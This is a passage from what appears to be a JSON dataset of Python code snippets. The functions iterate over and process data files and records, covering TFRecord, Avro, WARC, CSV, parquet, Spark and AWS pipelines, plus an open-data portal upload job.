compression_type='').take(MAX_SAMP))\\n\\n # Run the computation !\\n with tqdm_joblib(tqdm(desc=\\\"My calculation\\\", total=MAX_SAMP)) as progress_bar:\\n results = Parallel(n_jobs=-1)(\\n delayed(_process_single)(data) for data in dataset_it\\n )\",\n \"def process_all():\\n\\tfiles = os.listdir('records')\\n\\tfiles = [file for file in files if file not in ('.DS_Store','old')]\\n\\tattr_list = []\\n\\tcorpus = []\\n\\tsentences = []\\n\\tcorp_set = set()\\n\\tfor file in files:\\n\\t\\twith open('records/'+file) as f:\\n\\t\\t\\tattr_list, corpus, sentences = proc_file(f,file,corpus,attr_list,corp_set,sentences)\\n\\treturn attr_list,corpus,sentences\",\n \"def _collect(self, conll_directory) -> Iterator[Any]:\\n logging.info(\\\"Reading .conll from %s\\\", conll_directory)\\n return dataset_path_iterator(conll_directory, self.configs.file_ext)\",\n \"def test_iterator(self):\\n with open(get_test_file('example-iana.org-chunked.warc'), 'rb') as fh:\\n with closing(ArchiveIterator(fh)) as a:\\n for record in a:\\n assert record.rec_type == 'warcinfo'\\n break\\n\\n record = next(a)\\n assert record.rec_type == 'response'\\n\\n for record in a:\\n assert record.rec_type == 'request'\\n break\\n\\n with pytest.raises(StopIteration):\\n record = next(a)\\n\\n assert a.record == None\\n assert a.reader == None\\n assert a.read_to_end() == None\",\n \"def run(self):\\n\\t\\tdf_iter = self.file_to_df(50000)\\n\\t\\tdf_airport = self.airport_file_to_df()\\n\\t\\tfor df in df_iter: # type: pd.DataFrame\\n\\t\\t\\tdf.drop_duplicates(inplace=True)\\n\\t\\t\\tdf = self.transform(df, df_airport)\\n\\n\\t\\t\\tdf_result = self.get_only_new_records(\\n\\t\\t\\t\\tdf=df,\\n\\t\\t\\t\\tdf_columns=self.join_columns,\\n\\t\\t\\t\\ttable_columns=self.join_columns\\n\\t\\t\\t)\\n\\n\\t\\t\\tif len(df_result) > 0:\\n\\t\\t\\t\\t# df_result.drop(self.table_columns, axis=1)\\n\\n\\t\\t\\t\\tself.save(\\n\\t\\t\\t\\t\\tdf=df_result,\\n\\t\\t\\t\\t\\ttable_name=\\\"travel_dimension\\\",\\n\\t\\t\\t\\t\\tdf_columns=self.table_columns,\\n\\t\\t\\t\\t\\ttable_colums=self.table_columns\\n\\t\\t\\t\\t)\",\n \"def getAllFileRecordsIter(fs_name):\\n files = None\\n session = Queries.createSession()\\n try:\\n fs_db = session.execute(sqlalchemy.select([FileSpace]).where(FileSpace.storage_name == fs_name)).fetchone()\\n catalog = session.execute(sqlalchemy.select([Catalog]).where(Catalog.fs_id == fs_db.id)).fetchone()\\n files = session.query(FileTable).filter_by(catalog_id=catalog.id)\\n except sqlalchemy.exc.ArgumentError:\\n print 'SQLAlchemy ERROR: Invalid or conflicting function argument is supplied'\\n except sqlalchemy.exc.CompileError:\\n print 'SQLAlchemy ERROR: Error occurs during SQL compilation'\\n finally:\\n session.close()\\n return files\",\n \"def paw_file(filename):\\n with open(filename) as infile:\\n i = 0\\n while True:\\n try:\\n print(\\\"i: \\\" + str(i))\\n time, data = read_frame(infile)\\n yield time, data\\n except StopIteration:\\n break\",\n \"def read_job(self):\\n for jobname in self.job:\\n for line in self.job[jobname]:\\n self.eval_statement(line)\",\n \"def carve(self, payload, **kwargs):\\n\\n results = None\\n\\n # Let's make this a file object to simplify our seeks\\n payload = BytesIO(payload)\\n payload.seek(0)\\n\\n for start, end in self.carve_payload(self.headers, payload):\\n swf = self.decompress(payload, start)\\n if swf:\\n # If results are None, let's ensure it is a list\\n # so we can store our result set()\\n if not results:\\n results = []\\n\\n results.append(swf)\\n\\n return results\",\n \"def read_and_serialize(job_path):\\n\\n sc_data = GeneMatrix(job_path)\\n\\n sc_data.apply_preprocessing()\\n\\n worker_path = join(job_path, 'TF_records')\\n os.makedirs(worker_path, exist_ok=True)\\n\\n cat = sc_data.sc_raw.obs['cluster'].cat.categories\\n with TFRFWriter(worker_path, categories=cat) as writer:\\n for line in sc_data.sc_raw:\\n sc_genes, d = process_line(line)\\n\\n # print in TF records\\n writer.write_numpy(sc_genes, d.barcode, d.count_no,\\n d.genes_no, d.dset, d.cluster)\\n\\n return 'done with writing for: ' + job_path\",\n \"def s3_process(self, payload, classifier):\\n s3_file_lines = StreamPreParsers.pre_parse_s3(payload.raw_record)\\n for line in s3_file_lines:\\n data = line.rstrip()\\n payload.refresh_record(data)\\n self.process_alerts(classifier, payload, data)\",\n \"def _lenex_sub_process(filename, profiles):\\n # Print progress\\n print('Processing file: {}'.format(filename))\\n\\n # Get event data\\n data = results.FileLenex(filename, profiles)\\n\\n # Get XML filenames\\n meet_results = data.allresults_csv(stage=None)\\n return meet_results\",\n \"def __iter__(self):\\n for line in self._fp:\\n row = line.decode(\\\"utf-8\\\").split(\\\"\\\\t\\\")\\n yield row[1], row[2], row[3], json.loads(row[4])['weight']\",\n \"def iterator(dataset_fn, sections=None, lang=None, field_indices=None):\\n files = filelist(lang=lang, sections=sections)\\n\\n with TarFile.open(dataset_fn, 'r:gz') as f:\\n for member in f:\\n if member.isfile() and os.path.basename(member.name) in files:\\n logging.info('parsing %s ...' % member.name)\\n m_f = f.extractfile(member)\\n\\n for sentence in parse_conll(m_f, field_indices=field_indices):\\n yield sentence\\n\\n m_f.close()\",\n \"def _worker():\\n try:\\n logger.info('Looping...')\\n temp_list = []\\n for file in ['data_unfcc.csv','data_ebal.csv']:\\n temp_list.append(os.path.isfile(file))\\n if not all(temp_list):\\n print('Starting from scratch...')\\n download_source()\\n create_database()\\n create_index()\\n\\n time_mod = datetime.strptime(time.ctime(os.stat('data_ebal.csv').st_mtime),'%a %b %d %H:%M:%S %Y')\\n time_now = datetime.now()\\n\\n if (time_now - time_mod).seconds > 3600:\\n download_source()\\n get_updated_records('unfcc')\\n get_updated_records('ebal')\\n create_index()\\n except Exception as e:\\n logger.warning('Main Loop error')\",\n \"def handle(event, context):\\r\\n for record in event.get('Records', []):\\r\\n payload = json.loads(base64.b64decode(record[\\\"kinesis\\\"][\\\"data\\\"]))\\r\\n LOGGER.info('Payload: %s', payload)\\r\\n key_name = get_key_name(payload)\\r\\n app_slug, uuid_folder, file_name = get_key_details(key_name)\\r\\n if not app_slug or not file_name:\\r\\n return event\\r\\n\\r\\n response = DYNAMO.get_item(\\r\\n TableName='FilesToPipelines',\\r\\n Key={\\r\\n 'App': {'S': app_slug},\\r\\n 'File': {'S': file_name}\\r\\n },\\r\\n ProjectionExpression='Pipeline')\\r\\n if 'Item' not in response:\\r\\n LOGGER.info('Could not file pipeline for %s', key_name)\\r\\n return\\r\\n if not response['Item'].get('Pipeline'):\\r\\n LOGGER.info('Could not file pipeline for %s: Got %s',\\r\\n key_name, response)\\r\\n return\\r\\n\\r\\n pipeline = response['Item']['Pipeline'][\\\"S\\\"]\\r\\n response = LAMBDA.invoke_async(\\r\\n FunctionName=pipeline,\\r\\n InvokeArgs=json.dumps({\\r\\n 'trigger': 'evented',\\r\\n 'uuid': uuid_folder\\r\\n })\\r\\n )\\r\\n LOGGER.debug(response)\\r\\n LOGGER.info('Executed %s on %s', pipeline, uuid_folder)\",\n \"def result(self, timeout_sec: int = DEFAULT_TIMEOUT_SEC):\\n uris = self.get_avro_files(timeout_sec)\\n for file_uri in uris:\\n if file_uri.scheme == \\\"gs\\\":\\n file_obj = tempfile.TemporaryFile()\\n self.storage_client.download_blob_to_file(file_uri.geturl(), file_obj)\\n elif file_uri.scheme == \\\"file\\\":\\n file_obj = open(file_uri.path, \\\"rb\\\")\\n else:\\n raise Exception(\\n f\\\"Could not identify file URI {file_uri}. Only gs:// and file:// supported\\\"\\n )\\n\\n file_obj.seek(0)\\n avro_reader = fastavro.reader(file_obj)\\n\\n for record in avro_reader:\\n yield record\",\n \"def _write_local_data_files(self, cursor):\\n org_schema = [schema_tuple[0] for schema_tuple in cursor.description]\\n schema = [column for column in org_schema if column not in self.exclude_columns]\\n\\n col_type_dict = self._get_col_type_dict()\\n file_no = 0\\n file_mime_type = self._get_file_mime_type()\\n file_to_upload, tmp_file_handle = self._get_file_to_upload(file_mime_type, file_no)\\n\\n if self.export_format == \\\"csv\\\":\\n csv_writer = self._configure_csv_file(tmp_file_handle, schema)\\n if self.export_format == \\\"parquet\\\":\\n parquet_schema = self._convert_parquet_schema(cursor)\\n parquet_writer = self._configure_parquet_file(tmp_file_handle, parquet_schema)\\n rows_buffer = []\\n\\n prev_partition_values = None\\n curr_partition_values = None\\n for row in cursor:\\n if self.partition_columns:\\n row_dict = dict(zip(schema, row))\\n curr_partition_values = tuple(\\n [row_dict.get(partition_column, \\\"\\\") for partition_column in self.partition_columns]\\n )\\n\\n if prev_partition_values is None:\\n # We haven't set prev_partition_values before. Set to current\\n prev_partition_values = curr_partition_values\\n\\n elif prev_partition_values != curr_partition_values:\\n # If the partition values differ, write the current local file out\\n # Yield first before we write the current record\\n file_no += 1\\n\\n if self.export_format == \\\"parquet\\\":\\n # Write out the remaining rows in the buffer\\n if rows_buffer:\\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\\n rows_buffer = []\\n parquet_writer.close()\\n\\n file_to_upload[\\\"partition_values\\\"] = prev_partition_values\\n yield file_to_upload\\n file_to_upload, tmp_file_handle = self._get_file_to_upload(file_mime_type, file_no)\\n if self.export_format == \\\"csv\\\":\\n csv_writer = self._configure_csv_file(tmp_file_handle, schema)\\n if self.export_format == \\\"parquet\\\":\\n parquet_writer = self._configure_parquet_file(tmp_file_handle, parquet_schema)\\n\\n # Reset previous to current after writing out the file\\n prev_partition_values = curr_partition_values\\n\\n # Incrementing file_row_count after partition yield ensures all rows are written\\n file_to_upload[\\\"file_row_count\\\"] += 1\\n\\n # Proceed to write the row to the localfile\\n if self.export_format == \\\"csv\\\":\\n row = self.convert_types(schema, col_type_dict, row)\\n if self.null_marker is not None:\\n row = [value if value is not None else self.null_marker for value in row]\\n csv_writer.writerow(row)\\n elif self.export_format == \\\"parquet\\\":\\n row = self.convert_types(schema, col_type_dict, row)\\n if self.null_marker is not None:\\n row = [value if value is not None else self.null_marker for value in row]\\n rows_buffer.append(row)\\n if len(rows_buffer) >= self.parquet_row_group_size:\\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\\n rows_buffer = []\\n else:\\n row = self.convert_types(schema, col_type_dict, row)\\n row_dict = dict(zip(schema, row))\\n\\n json.dump(row_dict, tmp_file_handle, sort_keys=True, ensure_ascii=False)\\n\\n # Append newline to make dumps BigQuery compatible.\\n tmp_file_handle.write(\\\"\\\\n\\\")\\n\\n # Stop if the file exceeds the file size limit.\\n fppos = tmp_file_handle.tell()\\n tmp_file_handle.seek(0, os.SEEK_END)\\n file_size = tmp_file_handle.tell()\\n tmp_file_handle.seek(fppos, os.SEEK_SET)\\n\\n if file_size >= self.approx_max_file_size_bytes:\\n file_no += 1\\n\\n if self.export_format == \\\"parquet\\\":\\n # Write out the remaining rows in the buffer\\n if rows_buffer:\\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\\n rows_buffer = []\\n parquet_writer.close()\\n\\n file_to_upload[\\\"partition_values\\\"] = curr_partition_values\\n yield file_to_upload\\n file_to_upload, tmp_file_handle = self._get_file_to_upload(file_mime_type, file_no)\\n if self.export_format == \\\"csv\\\":\\n csv_writer = self._configure_csv_file(tmp_file_handle, schema)\\n if self.export_format == \\\"parquet\\\":\\n parquet_writer = self._configure_parquet_file(tmp_file_handle, parquet_schema)\\n\\n if self.export_format == \\\"parquet\\\":\\n # Write out the remaining rows in the buffer\\n if rows_buffer:\\n self._write_rows_to_parquet(parquet_writer, rows_buffer)\\n rows_buffer = []\\n parquet_writer.close()\\n # Last file may have 0 rows, don't yield if empty\\n # However, if it is the first file and self.write_on_empty is True, then yield to write an empty file\\n if file_to_upload[\\\"file_row_count\\\"] > 0 or (file_no == 0 and self.write_on_empty):\\n file_to_upload[\\\"partition_values\\\"] = curr_partition_values\\n yield file_to_upload\",\n \"def read_in_chunks(self):\\n chunksize = 10 ** 3\\n lines_number = sum(1 for line in open(self.filepath))\\n self.progressMaximum.emit(lines_number // chunksize)\\n dfList = []\\n\\n # self.df = traja.read_file(\\n # str(filepath),\\n # index_col=\\\"time_stamps_vec\\\",\\n # parse_dates=[\\\"time_stamps_vec\\\"],\\n # )\\n\\n TextFileReader = pd.read_csv(\\n self.filepath,\\n index_col=\\\"time_stamps_vec\\\",\\n parse_dates=[\\\"time_stamps_vec\\\"],\\n chunksize=chunksize,\\n )\\n for idx, df in enumerate(TextFileReader):\\n df.index = pd.to_datetime(df.index, format=\\\"%Y-%m-%d %H:%M:%S:%f\\\")\\n dfList.append(df)\\n self.intReady.emit(idx)\\n self.completed.emit(dfList)\\n self.finished.emit()\",\n \"def enumerate_records(self, table):\\n for i in range(self.nrofrecords()):\\n data = self.bank.readrec(i + 1)\\n if data and data[0] == table.tableid:\\n try:\\n yield Record(i + 1, table.fields, data[1:])\\n except EOFError:\\n print(\\\"Record %d too short: -- %s\\\" % (i+1, ashex(data)), file=stderr)\\n except Exception as e:\\n print(\\\"Record %d broken: ERROR '%s' -- %s\\\" % (i+1, e, ashex(data)), file=stderr)\",\n \"def runDataExtraction():\\r\\n config = CONFIG['steps']['DataExtraction']\\r\\n ci = config['inputs']\\r\\n co = config['outputs']\\r\\n columns = ci['columns']\\r\\n nrows = ci['nrows']\\r\\n input_bucket = ci['bucket']\\r\\n no_of_files = ci['no_of_files']\\r\\n\\r\\n output_bucket = co['bucket']\\r\\n csv_name_prefix = co['csv_name_prefix']\\r\\n\\r\\n minio_config = CONFIG['artifacts']['minio']\\r\\n minioClient = create_minio_client(minio_config[\\\"endpoint_url\\\"],\\r\\n access_key=minio_config[\\\"access_key\\\"],\\r\\n secret_key=minio_config[\\\"secret_key\\\"],\\r\\n secure=minio_config['secure'])\\r\\n\\r\\n boto_client = boto3.client(\\\"s3\\\",\\r\\n endpoint_url=minio_config[\\\"endpoint_url\\\"],\\r\\n aws_access_key_id=minio_config[\\\"access_key\\\"],\\r\\n aws_secret_access_key=minio_config[\\\"secret_key\\\"],\\r\\n region_name=minio_config[\\\"region_name\\\"])\\r\\n\\r\\n zip_files = get_files(input_bucket, boto_client, file_type='zip')\\r\\n\\r\\n no_of_files_to_process = no_of_files if no_of_files is not None else len(\\r\\n zip_files)\\r\\n for zip_file in tqdm(zip_files[:no_of_files_to_process], total=no_of_files_to_process):\\r\\n process_file(zip_file, input_bucket, output_bucket, minioClient, columns,\\r\\n nrows=nrows, output_csv_name_prefix=csv_name_prefix)\",\n \"def __iter__(self):\\r\\n try:\\r\\n dup_fp = self._fp.dup()\\r\\n except self._fp.Error:\\r\\n log.error('Failed to dup %r' % self._fp)\\r\\n return\\r\\n\\r\\n try:\\r\\n while True:\\r\\n blob = RecordIO.Reader.do_read(dup_fp, self._codec)\\r\\n if blob:\\r\\n yield blob\\r\\n else:\\r\\n break\\r\\n finally:\\r\\n dup_fp.close()\",\n \"def doImport(self, params):\\n #logging.info(params.filename)\\n raw_data = self.open_filename(params.filename)\\n #logging.info('file open ok')\\n data = self.split_to_blocks(raw_data)\\n #logging.info('splitting ok')\\n chromatograms = self.process_data_to_chromatograms(data)\\n #logging.info('extract ok')\\n \\n processed_data = []\\n \\n zero = params.field_results[\\\"zero\\\"]\\n MIC = params.field_results[\\\"MIC\\\"]\\n TIC = params.field_results[\\\"TIC\\\"]\\n round_MZ = params.field_results[\\\"round_MZ\\\"]\\n \\n for chrom in chromatograms:\\n \\n prefix = chrom['short_title']\\n if (\\\".\\\" in prefix) and round_MZ:\\n first,last = prefix.split('.')\\n prefix = first\\n \\n if (\\\"MIC\\\" in prefix) and (not MIC):\\n pass\\n elif (\\\"TIC\\\" in prefix) and (not TIC):\\n pass\\n else:\\n x = ImportDataset1D(name=prefix+'_time',data = chrom['time'])\\n if zero:\\n y = ImportDataset1D(name=prefix+'_signal',data = chrom['signal_zero'])\\n else:\\n y = ImportDataset1D(name=prefix+'_signal',data = chrom['signal'])\\n processed_data.append(x)\\n processed_data.append(y)\\n \\n return processed_data\",\n \"def process(self, element, bucket):\\n mirror, chunk_name = element\\n logging.info('USERLOG: Download data dump %s to store in cloud storage.', chunk_name)\\n # Download data dump from Wikipedia and upload to cloud storage.\\n url = mirror + \\\"/\\\" + chunk_name\\n write_path = path.join('gs://', bucket, chunk_name)\\n urllib.urlretrieve(url, chunk_name)\\n os.system(\\\"gsutil cp {chunk} {filepath}\\\".format(chunk=chunk_name, filepath=write_path))\\n os.system(\\\"rm {chunk}\\\".format(chunk=chunk_name))\\n yield chunk_name\\n return\",\n \"def _record_iterator(self):\\n\\n # Alias these values so the code won't need to keep performing\\n # attribute lookups on `self` (small optimization)\\n stream = self.stream\\n sync_marker = self._sync_marker\\n writer_schema = self.writer_schema\\n reader_schema = self.reader_schema\\n\\n # Get the block decoder\\n if self.codec == 'deflate':\\n read_block = deflate_read_block\\n elif self.codec == 'snappy':\\n read_block = snappy_read_block\\n else:\\n read_block = null_read_block\\n\\n block_buf = BytesIO()\\n\\n try:\\n while True:\\n block_count = read_long(stream)\\n read_block(stream, block_buf)\\n\\n for i in xrange(block_count):\\n yield read_data(block_buf, writer_schema, reader_schema)\\n\\n skip_sync(stream, sync_marker)\\n\\n except EOFError:\\n pass\\n finally:\\n block_buf.close()\",\n \"def walk_csv(self, filepath: str):\\n with open(filepath, encoding='ISO-8859-1') as f:\\n reader = csv.DictReader(f)\\n for row in reader:\\n logger.debug('Loading map {}'.format(row.get('id', None)))\\n yield row\",\n \"def read_data(self, path, **kwargs):\\n\\n from glob import glob\\n import os\\n sc = self.sc\\n pdt_lc = np.dtype([('pos', 'f4', 3),('vel', 'f4', 3)])\\n\\n blockids = kwargs['blockids']\\n\\n def set_particle_IDs_partition(index, iterator): \\n \\\"\\\"\\\"\\n Use the aggregate partition counts to set monotonically increasing \\n particle indices\\n \\\"\\\"\\\"\\n p_counts = partition_counts.value\\n local_index = 0\\n start_index = sum([p_counts[i] for i in range(index)])\\n for arr in iterator:\\n arr['iOrder'] = range(start_index + local_index, start_index + local_index + len(arr))\\n arr['iGroup'] = loc_to_glob_map_b.value[index]\\n local_index += len(arr)\\n yield arr\\n \\n def read_file(index, i, chunksize=102400): \\n for part,filename in i:\\n timein = time.time()\\n with open(filename,'rb') as f: \\n header = f.read(62500)\\n while True:\\n chunk = f.read(chunksize*24)\\n if len(chunk): \\n p_arr = np.frombuffer(chunk, pdt_lc)\\n new_arr = np.zeros(len(p_arr), dtype=pdt)\\n new_arr['pos'] = p_arr['pos']\\n yield new_arr\\n else: \\n t_elapsed = time.time()-timein\\n rate = os.path.getsize(filename)/1e6/t_elapsed\\n print 'spark_fof: reading %s took %d seconds in partition %d, %f MB/sec'%(filename, t_elapsed, index, rate)\\n break\\n \\n # determine which files to read\\n get_block_ids = re.compile('blk\\\\.(\\\\d+)\\\\.(\\\\d+)\\\\.(\\\\d+)?')\\n\\n if blockids is None: \\n files = glob(os.path.join(self.path,'*/*'))\\n else: \\n files = []\\n for dirname, subdirlist, filelist in os.walk(path):\\n try: \\n dirnum = int(os.path.basename(dirname))\\n if dirnum in blockids: \\n for f in filelist:\\n ids = get_block_ids.findall(f)\\n if len(ids) > 0:\\n if all(int(x) in blockids for x in ids[0]):\\n files.append(os.path.join(dirname,f))\\n except ValueError: \\n pass\\n\\n files.sort()\\n nfiles = len(files) \\n self.nPartitions = nfiles\\n\\n print 'spark_fof: Number of input files: ', nfiles\\n\\n # get particle counts per partition\\n nparts = {i:_get_nparts(filename,62500,pdt_lc.itemsize) for i,filename in enumerate(files)}\\n\\n print 'spark_fof: Total number of particles: ', np.array(nparts.values()).sum()\\n \\n # set up the map from x,y,z to partition id \\n ids = map(lambda x: tuple(map(int, get_block_ids.findall(x)[0])), files)\\n ids_map = {x:i for i,x in enumerate(ids)}\\n self.ids_map = ids_map\\n loc_to_glob_map_b = self.local_to_global_map\\n \\n ids_map_b = sc.broadcast(ids_map)\\n loc_to_glob_map_b = sc.broadcast(loc_to_glob_map_b)\\n\\n partition_counts = sc.broadcast(nparts)\\n\\n rec_rdd = (sc.parallelize(zip(ids,files), numSlices=self.nPartitions)\\n .map(lambda (id,filename): (ids_map_b.value[id],filename))\\n .partitionBy(self.nPartitions).cache()\\n .mapPartitionsWithIndex(read_file, preservesPartitioning=True)\\n .mapPartitionsWithIndex(set_particle_IDs_partition, \\n preservesPartitioning=True))\\n \\n return rec_rdd\",\n \"def tfrecord_iterator(\\n data_path: str,\\n index_path: typing.Optional[str] = None,\\n shard: typing.Optional[typing.Tuple[int, int]] = None,\\n compression_type: typing.Optional[str] = None,\\n) -> typing.Iterable[memoryview]:\\n if compression_type == \\\"gzip\\\":\\n file = gzip.open(data_path, \\\"rb\\\")\\n elif compression_type is None:\\n file = io.open(data_path, \\\"rb\\\")\\n else:\\n raise ValueError(\\\"compression_type should be either 'gzip' or None\\\")\\n length_bytes = bytearray(8)\\n crc_bytes = bytearray(4)\\n datum_bytes = bytearray(1024 * 1024)\\n\\n def read_records(start_offset=None, end_offset=None):\\n nonlocal length_bytes, crc_bytes, datum_bytes\\n\\n if start_offset is not None:\\n file.seek(start_offset)\\n if end_offset is None:\\n end_offset = os.path.getsize(data_path)\\n while file.tell() < end_offset:\\n if file.readinto(length_bytes) != 8:\\n raise RuntimeError(\\\"Failed to read the record size.\\\")\\n if file.readinto(crc_bytes) != 4:\\n raise RuntimeError(\\\"Failed to read the start token.\\\")\\n length, = struct.unpack(\\\"<Q\\\", length_bytes)\\n if length > len(datum_bytes):\\n datum_bytes = datum_bytes.zfill(int(length * 1.5))\\n datum_bytes_view = memoryview(datum_bytes)[:length]\\n if file.readinto(datum_bytes_view) != length:\\n raise RuntimeError(\\\"Failed to read the record.\\\")\\n if file.readinto(crc_bytes) != 4:\\n raise RuntimeError(\\\"Failed to read the end token.\\\")\\n yield datum_bytes_view\\n\\n if index_path is None:\\n yield from read_records()\\n else:\\n index = np.loadtxt(index_path, dtype=np.int64)[:, 0]\\n if shard is None:\\n offset = np.random.choice(index)\\n yield from read_records(offset)\\n yield from read_records(0, offset)\\n else:\\n num_records = len(index)\\n shard_idx, shard_count = shard\\n start_index = (num_records * shard_idx) // shard_count\\n end_index = (num_records * (shard_idx + 1)) // shard_count\\n start_byte = index[start_index]\\n end_byte = index[end_index] if end_index < num_records else None\\n yield from read_records(start_byte, end_byte)\\n\\n file.close()\",\n \"def process_data(cur, conn, filepath, func):\\n \\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root,'*.json'))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n \\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n \\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n func(cur, datafile)\\n conn.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def _extractor(ims, klas, cold=Colds.txt, abort=False):\\n while True:\\n try:\\n if cold == Colds.txt:\\n return klas(qb64b=ims, strip=True)\\n elif cold == Colds.bny:\\n return klas(qb2=ims, strip=True)\\n else:\\n raise kering.ColdStartError(\\\"Invalid stream state cold={}.\\\".format(cold))\\n except kering.ShortageError as ex:\\n if abort: # pipelined pre-collects full frame before extracting\\n raise # bad pipelined frame so abort by raising error\\n yield\",\n \"def __iter__(self):\\n with mzid.read(str(self.filename)) as reader:\\n for spectrum in reader:\\n # Check if RT is encoded in spectrum metadata\\n if \\\"retention time\\\" in spectrum:\\n self._spectrum_rt_key = \\\"retention time\\\"\\n elif \\\"scan start time\\\" in spectrum:\\n self._spectrum_rt_key = \\\"scan start time\\\"\\n else:\\n self._spectrum_rt_key = None\\n # Parse PSM non-metadata keys, rt key, and score key\\n self._get_non_metadata_keys(spectrum[\\\"SpectrumIdentificationItem\\\"][0].keys())\\n break\\n\\n for spectrum in reader:\\n # Parse spectrum metadata\\n spectrum_id = spectrum[\\\"spectrumID\\\"]\\n spectrum_title = (\\n spectrum[\\\"spectrum title\\\"] if \\\"spectrum title\\\" in spectrum else None\\n )\\n run = Path(spectrum[\\\"location\\\"]).stem if \\\"location\\\" in spectrum else None\\n rt = float(spectrum[self._spectrum_rt_key]) if self._spectrum_rt_key else None\\n\\n # Parse PSMs from spectrum\\n for entry in spectrum[\\\"SpectrumIdentificationItem\\\"]:\\n yield self._get_peptide_spectrum_match(\\n spectrum_id, spectrum_title, run, rt, entry\\n )\",\n \"def process_data(cursor, connection, filepath, function):\\n # get all files matching extension from directory\\n all_files = []\\n for root, dirs, files in os.walk(filepath):\\n files = glob.glob(os.path.join(root, '*.json'))\\n for f in files:\\n all_files.append(os.path.abspath(f))\\n\\n # get total number of files found\\n num_files = len(all_files)\\n print('{} files found in {}'.format(num_files, filepath))\\n\\n # iterate over files and process\\n for i, datafile in enumerate(all_files, 1):\\n function(cursor, datafile)\\n connection.commit()\\n print('{}/{} files processed.'.format(i, num_files))\",\n \"def iter_Periodicals(fname, log_every=500):\\n doc_id = 0\\n with tarfile.open(fname, 'r:gz') as tf:\\n for file_number, file_info in enumerate(tf):\\n if file_info.isfile():\\n if log_every and doc_id % log_every == 0:\\n logging.info(\\\"extracting file #%i: %s\\\" % (doc_id, file_info.name))\\n title = file_info.name[2:]\\n content = tf.extractfile(file_info).read()\\n yield title, doc_id, process_page(content)\\n doc_id += 1\",\n \"def redshift_loader(spark, tbname, tmpdir):\\n print(\\\"Loading files from Redshift table: %s\\\" % tbname)\\n filelist = spark.read \\\\\\n .format(\\\"com.databricks.spark.redshift\\\") \\\\\\n .option(\\\"url\\\", __credential__.jdbc_accessible_host_redshift) \\\\\\n .option(\\\"forward_spark_s3_credentials\\\", True) \\\\\\n .option(\\\"dbtable\\\", tbname) \\\\\\n .option(\\\"tempdir\\\", \\\"s3n://gdcdata/%s\\\" % tmpdir) \\\\\\n .load()\\n return filelist\",\n \"def run(self):\\n print('#' + '\\\\t'.join(OutputRecord.get_header_fields()),\\n file=self.args.output_tsv)\\n for chunk in chunk_by_query(self.sam_file, expand_xa=True):\\n #print('STARTING CHUNK', file=sys.stderr)\\n if not chunk:\\n continue # ignore empty chunks\\n self.handle_chunk(chunk)\",\n \"def runjob(job):\\n inputfiles = glob.glob(job['InputFile'])\\n logecho(' %s file/s found for %s: ' %\\n (len(inputfiles), job['InputFile']))\\n\\n # process files, order by most recent\\n inputfiles.sort(key=os.path.getmtime, reverse=True)\\n for inputfile in inputfiles:\\n inputfile_error = False\\n inputfile_errordetails = ''\\n t1_startdt = datetime.now()\\n starttime = t1_startdt.strftime('%Y-%m-%d %H:%M:%S')\\n t1_start = perf_counter()\\n dupecount = 0\\n dupesremoved = 0\\n resource_id = ''\\n\\n logecho(' Processing: %s...' % inputfile)\\n\\n def custom_date_parser(x): return dateparser.parse(\\n x, date_formats=dateformats_list)\\n\\n df = pd.read_csv(inputfile, parse_dates=[\\n datecolumn], date_parser=custom_date_parser,\\n skipinitialspace=True)\\n\\n if job['Dedupe']:\\n pkey_list = list(job['PrimaryKey'].split(','))\\n\\n # first, count number of dupe rows for logging\\n dupecount = df.duplicated(subset=pkey_list, keep='first').sum()\\n\\n dedupe_flag = job['Dedupe']\\n if dedupe_flag == 'first' or dedupe_flag == 'last':\\n df.drop_duplicates(\\n subset=pkey_list, keep=dedupe_flag, inplace=True)\\n dupesremoved = dupecount\\n\\n colname_list = df.columns.tolist()\\n\\n coltype_list = []\\n for column in df:\\n coltype_list.append(get_col_dtype(df[column]))\\n\\n fields_dictlist = []\\n for i in range(0, len(colname_list)):\\n fields_dictlist.append({\\n \\\"id\\\": colname_list[i],\\n \\\"type\\\": coltype_list[i][0]\\n })\\n if coltype_list[i][0] == 'timestamp':\\n df[colname_list[i]] = df[colname_list[i]].astype(str)\\n\\n logecho('FIELDS_DICTLIST: %s' % fields_dictlist, level='debug')\\n\\n data_dict = df.to_dict(orient='records')\\n\\n # check if resource exists\\n # this works only when TargetResource is an existing\\n # resource id hash\\n try:\\n resource = portal.action.resource_show(\\n id=job['TargetResource'])\\n except:\\n logecho(' Resource \\\"%s\\\" is not a resource id.' %\\n job['TargetResource'])\\n resource = ''\\n else:\\n existing_resource_desc = resource['description']\\n\\n if not resource:\\n # resource doesn't exist. Check if package exists\\n try:\\n package = portal.action.package_show(\\n id=job['TargetPackage'])\\n except:\\n package = ''\\n\\n if not package:\\n # package doesn't exist. Create it\\n # first, check if TargetOrg exist\\n logecho(' Creating package \\\"%s\\\"...' %\\n job['TargetPackage'])\\n\\n if not (job['TargetOrg'] in org_list):\\n errmsg = 'TargetOrg \\\"%s\\\" does not exist!' % job['TargetOrg']\\n logecho(errmsg, level='error')\\n sys.exit(errmsg)\\n\\n try:\\n package = portal.action.package_create(\\n name=job['TargetPackage'],\\n private=False,\\n owner_org=job['TargetOrg']\\n )\\n except Exception as e:\\n logecho(' Cannot create package \\\"%s\\\"!' %\\n job['TargetPackage'], level='error')\\n inputfile_error = True\\n inputfile_errordetails = str(e)\\n package = ''\\n else:\\n logecho(' Created package \\\"%s\\\"...' %\\n job['TargetPackage'])\\n else:\\n logecho(' Package \\\"%s\\\" found...' % job['TargetPackage'])\\n\\n logecho('PACKAGE: %s\\\\n\\\\nFIELDS: %s' %\\n (package, fields_dictlist), level='debug')\\n # logecho('RECORDS: %s\\\\n' % data_dict, level='debug')\\n\\n # now check if resource name already exists in package\\n resource_exists = False\\n existing_resource_desc = ''\\n resources = package.get('resources')\\n for resource in resources:\\n if resource['name'] == job['TargetResource']:\\n resource_exists = True\\n existing_resource_desc = resource['description']\\n resource_id = resource['id']\\n break\\n\\n #resource_id = ''\\n if package and resource_exists:\\n\\n if job['Truncate']:\\n try:\\n result = portal.action.datastore_delete(\\n resource_id=resource['id'],\\n force=True\\n )\\n except 